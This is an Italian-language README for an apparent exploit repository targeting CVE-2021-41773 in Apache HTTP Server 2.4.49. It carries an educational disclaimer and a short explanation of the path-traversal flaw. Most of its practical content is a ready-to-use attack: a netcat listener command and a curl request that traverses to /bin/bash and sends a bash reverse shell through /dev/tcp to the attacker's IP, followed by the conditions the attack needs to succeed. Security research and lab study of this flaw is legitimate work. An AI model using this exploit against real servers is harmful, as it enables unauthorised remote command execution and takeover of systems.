
⚠️ Disclaimer
Questa repository è destinata esclusivamente a scopi educativi e di ricerca.
Le informazioni e il codice qui forniti possono essere utilizzati in ambienti controllati, come macchine di laboratorio private.
L'uso non autorizzato di questo codice contro sistemi che non possiedi o per cui non hai l'esplicito permesso di testare è illegale e non etico.
L'autore non è responsabile per qualsiasi uso improprio o danno causato.
CVE-2021-41773 colpisce Apache HTTP Server versione 2.4.49.
A causa di una validazione impropria dell'input nella normalizzazione dei percorsi, un attaccante può sfruttare il path traversal utilizzando caratteri codificati come %2e per accedere a file arbitrari.
Se CGI è abilitato, questa vulnerabilità può essere elevata a esecuzione di codice remota senza autenticazione (RCE).
Una richiesta curl malevola viene creata per sfruttare il difetto di path traversal. Quando CGI è abilitato, gli attaccanti possono raggiungere /bin/bash ed eseguire comandi shell arbitrari.
In questo esempio, viene inviato un payload di reverse shell per ottenere accesso shell dal server.
Questo exploit è stato testato in un ambiente di laboratorio privato. Di seguito sono riportati i passaggi e i risultati.
Una scansione Nmap ha identificato il target che esegue Apache/2.4.49.

Un payload di reverse shell è stato inviato utilizzando un comando curl appositamente costruito.

Una reverse shell è stata ottenuta con successo sul listener dell'attaccante.

Passo 1: Avvia il listener Netcat
nc -nvlp 4444
Passo 1: Esegui l'exploit
curl -v 'http://<target>:<port>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/<your-ip>/4444 0>&1' -H 'Content-Type: text/plain'
La versione di Apache sia 2.4.49
CGI sia abilitato
La porta 4444 (o la porta da te scelta) sia aperta attraverso il firewall
Consulta la guida dettagliata e la teoria nel mio post su Medium:
👉 Leggi il blog su Medium